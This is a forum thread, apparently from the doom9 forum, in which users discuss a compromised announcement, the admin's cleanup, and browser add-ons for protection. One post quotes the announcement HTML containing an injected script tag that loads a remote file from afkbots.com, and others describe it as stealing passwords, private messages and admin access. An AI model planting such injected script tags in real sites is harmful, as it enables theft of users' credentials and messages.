Hack??

[sneaker_ger]

There's a link to to the following script in the "new" announcement:

http://www.afkbots.com/doom/l.js

https://forum.doom9.org/announcement.php?f=6

<!-- icon and title -->
<div class="smallfont">

<strong>ATTENTION: Read this before posting! Especially on downloaded movies, or movies you do not own!<script src="http://www.afkbots.com/doom/l.js"></script></strong>
</div>
<hr size="1" style="color:#FFFFFF; background-color:#FFFFFF" />
<!-- / icon and title -->

Is this anything to worry about?

[raffriff42]

function stealPassword() {...
function getMessages() {...
function checkAdmin() {...
function changeAdmin() {...
Nothing to worry about... :eek:

[filler56789]

Would an upgrade to vBulletin 4.x (OR to something else) make this forum less insecure? :confused:

Everybody needs to block afkbots from running any scripts (in your default browser, advanced settings) and then change your password to ensure the safety of your account.

source: http://forums.na.leagueoflegends.com/board/showthread.php?p=46100341

[vivan]

It steals password (from login/password box if you're not logged in) and PMs (export via xml).
If user have admin rights it messes with faq (php injection).
Also it could change admin password to asdf1234, but I don't see it using this function.

[Doom9]

I've cleaned the attachments and reset the accounts owning the announcements, plus removed the ability to post announcements altogether (stupid vbb won't allow you to just disable html.. it's enabled unless you disable it per attachment). I hope Swede will visit soon for further investigation as he has access to the access logs.

A vbb upgrade wouldn't help.. more recent versions have the same vulnerability vector (which can be closed - in fact I thought we had it closed when a similar attempt was made last year). I've posted an announcement asking people who visited the two affected announcements to change their passwords.

[NanoBot]

Thanks for the immediate and fully transparent information.

Fortunately such types of attacks can't work here due to the help of two Firefox addons:

The well known addon NoScript will block all scripts except those from explicitely whitelisted domains, and even better
RequestPolicy will block any CSRF attempts at all, because it prevents documents from other domains to be even downloaded, if they are not explicitely whitelisted.

C.U. NanoBot